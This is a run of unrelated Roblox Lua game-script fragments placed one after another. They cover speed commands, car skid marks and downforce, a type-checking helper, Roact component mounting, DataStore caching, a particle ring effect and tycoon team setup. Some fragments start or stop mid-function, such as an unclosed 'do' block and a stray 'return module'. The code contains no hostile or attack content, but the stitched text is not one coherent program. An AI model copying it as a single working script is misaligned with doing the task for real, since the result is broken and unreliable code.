local character = main.player.Character or main.player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local eventsModule = main:GetModule("Events") if main.device ~= "Computer" then local bindable = eventsModule:New("DoubleJumped", humanoid) bindable.Event:Connect(function() for speedCommandName, _ in pairs(main.commandSpeeds) do if main.commandsActive[speedCommandName] then main:GetModule("cf"):EndCommand(speedCommandName) else main:GetModule("cf"):ActivateClientCommand(speedCommandName) end end end) end return module
--This script controls the tyre mark sounds and effects like the skid marks and smoke.
car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then car.Wheels.RL.SQ.TimeScript.Disabled = true car.Wheels.RL.SQ.PitchScript.Disabled = true car.Wheels.RR.SQ.TimeScript.Disabled = true car.Wheels.RR.SQ.PitchScript.Disabled = true car.Wheels.RL.SQ.TimePosition = 0 car.Wheels.RL.SQ.Pitch = 0 car.Wheels.RR.SQ.TimePosition = 0 car.Wheels.RR.SQ.Pitch = 0 car.Wheels.RL.Smoke.Rate=0 car.Wheels.RR.Smoke.Rate=0 end end) while wait(.2) do local r1 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RL.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RL.Size.x/1.2)) local r1hit = 0 if workspace:FindPartOnRay(r1,car)~=nil then r1hit=1 end local r2 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RR.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RR.Size.x/1.2)) local r2hit = 0 if workspace:FindPartOnRay(r2,car)~=nil then r2hit=1 end local rl = math.min((math.max(math.abs((car.Wheels.RL.RotVelocity.Magnitude*car.Wheels.RL.Size.x/2) - (car.Wheels.RL.Velocity.Magnitude))-20,0)),50)*r1hit*1.2 local rr = math.min((math.max(math.abs((car.Wheels.RR.RotVelocity.Magnitude*car.Wheels.RR.Size.x/2) - (car.Wheels.RR.Velocity.Magnitude))-20,0)),50)*r2hit*1.2 car.Wheels.RL.Smoke.Rate = rl car.Wheels.RR.Smoke.Rate = rr if rl > 1 then car.Wheels.RL.SQ.TimeScript.Disabled = false car.Wheels.RL.SQ.PitchScript.Disabled = false car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = true car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = true end if rl < 1 then car.Wheels.RL.SQ.TimeScript.Disabled = true car.Wheels.RL.SQ.PitchScript.Disabled = true car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = false car.Wheels.RL.SQ.Pitch = 0 car.Wheels.RL.SQ.TimePosition = 0 car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = false end if rr > 1 then car.Wheels.RR.SQ.TimeScript.Disabled = false car.Wheels.RR.SQ.PitchScript.Disabled = false car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = true car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = true end if rr < 1 then car.Wheels.RR.SQ.TimeScript.Disabled = true car.Wheels.RR.SQ.PitchScript.Disabled = true car.Wheels.RR.SQ.Pitch = 0 car.Wheels.RR.SQ.TimePosition = 0 car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = false car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = false end end
--[[** ensures value is a table and all keys pass valueCheck and all values are true @param valueCheck The function to use to check the values @returns A function that will return true iff the condition is passed **--]]
function t.set(valueCheck) return t.map(valueCheck, t.literal(true)) end do local arrayKeysCheck = t.keys(t.integer)
--[[ An internal method used by the reconciler to construct a new component instance and attach it to the given virtualNode. ]]
function Component:__mount(reconciler, virtualNode) if config.internalTypeChecks then internalAssert(Type.of(self) == Type.StatefulComponentClass, "Invalid use of `__mount`") internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #2 to be of type VirtualNode") end local currentElement = virtualNode.currentElement local hostParent = virtualNode.hostParent -- Contains all the information that we want to keep from consumers of -- Roact, or even other parts of the codebase like the reconciler. local internalData = { reconciler = reconciler, virtualNode = virtualNode, componentClass = self, lifecyclePhase = ComponentLifecyclePhase.Init, } local instance = { [Type] = Type.StatefulComponentInstance, [InternalData] = internalData, } setmetatable(instance, self) virtualNode.instance = instance local props = currentElement.props if self.defaultProps ~= nil then props = assign({}, self.defaultProps, props) end instance:__validateProps(props) instance.props = props local newContext = assign({}, virtualNode.legacyContext) instance._context = newContext instance.state = assign({}, instance:__getDerivedState(instance.props, {})) if instance.init ~= nil then instance:init(instance.props) assign(instance.state, instance:__getDerivedState(instance.props, instance.state)) end -- It's possible for init() to redefine _context! virtualNode.legacyContext = instance._context internalData.lifecyclePhase = ComponentLifecyclePhase.Render local renderResult = instance:render() internalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren reconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult) if instance.didMount ~= nil then internalData.lifecyclePhase = ComponentLifecyclePhase.DidMount instance:didMount() end if internalData.pendingState ~= nil then -- __update will handle pendingState, so we don't pass any new element or state instance:__update(nil, nil) end internalData.lifecyclePhase = ComponentLifecyclePhase.Idle end
--Internal functions
function DataStore:Debug(...) if self.debug then print(...) end end function DataStore:_GetRaw() if not self.getQueue then self.getQueue = Instance.new("BindableEvent") end if self.getting then self:Debug("A _GetRaw is already in motion, just wait until it's done") self.getQueue.Event:wait() self:Debug("Aaand we're back") return end self.getting = true local success, value = self.savingMethod:Get() self.getting = false if not success then error(tostring(value)) end self.value = value self:Debug("value received") self.getQueue:Fire() self.haveValue = true end function DataStore:_Update(dontCallOnUpdate) if not dontCallOnUpdate then for _,callback in pairs(self.callbacks) do callback(self.value, self) end end self.haveValue = true self.valueUpdated = true end
--Realistic Downforce 2.0-- --//INSPARE//-- --Downforce based on angle--
while true do wait() speed = script.Parent.Parent.Velocity.magnitude script.Parent.force = Vector3.new(0, script.Parent.Parent.CFrame.lookVector.Y*(20*speed), 0) end
-----------------------------------
ba=Instance.new("Part") ba.CastShadow = false ba.TopSurface=0 ba.BottomSurface=0 ba.Anchored=false ba.CanCollide=false ba.formFactor="Custom" ba.Size=Vector3.new(1,0.1,1) ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0) ba.Name="Effect" ba.BrickColor=BrickColor.new "White" ao=script.RingMesh:clone() ao.Parent = ba local fade = script.RingFade:Clone() fade.Parent = ba fade.Disabled = false ba.Parent=script.Parent fo=Instance.new("BodyPosition") fo.maxForce= Vector3.new (99999999999999999,99999999999999999,99999999999999999) fo.position = ba.Position fo.Parent = ba aa=Instance.new("BodyAngularVelocity") aa.P=3000 aa.maxTorque=aa.maxTorque*30 aa.angularvelocity=Vector3.new(math.random(-70,70)/3,math.random(-70,70)/3,math.random(-70,70)/5)*100 aa.Parent=ba
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then local teamHire = Instance.new('Team', Teams) teamHire.TeamColor = BC.new('White') teamHire.Name = "For Hire" end for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names if returnColorTaken(v.TeamColor) then --//Handle duplicate team colors local newColor; repeat wait() newColor = BC.Random() until returnColorTaken(newColor) == false v.TeamColor.Value = newColor end --Now that there are for sure no duplicates, make your teams local NewTeam = Instance.new('Team',Teams) NewTeam.Name = v.Name NewTeam.TeamColor = v.TeamColor.Value if not Settings['AutoAssignTeams'] then NewTeam.AutoAssignable = false end v.PurchaseHandler.Disabled = false end function getPlrTycoon(player) for i,v in pairs(script.Parent.Tycoons:GetChildren()) do if v:IsA("Model") then if v.Owner.Value == player then return v end end end return nil end game.Players.PlayerAdded:connect(function(player) local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney) plrStats.Name = player.Name local isOwner = Instance.new("ObjectValue",plrStats) isOwner.Name = "OwnsTycoon" end) game.Players.PlayerRemoving:connect(function(player) local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name) if plrStats ~= nil then plrStats:Destroy() end local tycoon = getPlrTycoon(player) if tycoon then local backup = Tycoons[tycoon.Name]:Clone() tycoon:Destroy() wait() backup.Parent=script.Parent.Tycoons end end)